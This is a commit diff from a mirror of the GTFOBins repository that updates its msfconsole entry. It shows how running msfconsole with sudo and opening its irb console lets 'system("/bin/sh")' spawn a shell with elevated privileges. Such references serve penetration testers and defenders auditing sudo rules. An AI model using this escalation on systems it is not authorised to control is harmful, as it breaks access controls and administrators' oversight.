mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 17:44:49 +02:00
Improve and clarify msfconsole
This commit is contained in:
@@ -1,8 +1,14 @@
|
|||||||
---
|
---
|
||||||
|
description: This allows to spawn a [`ruby`](/gtfobins/ruby/) interpreter.
|
||||||
functions:
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
sudo msfconsole
|
||||||
|
msf6 > irb
|
||||||
|
>> system("/bin/sh")
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
sudo msfconsole
|
sudo msfconsole
|
||||||
msf6 > irb
|
msf6 > irb
|
||||||
>> system("/bin/bash")
|
>> system("/bin/sh")
|
||||||
---
|
---
|
||||||
|
Reference in New Issue
Block a user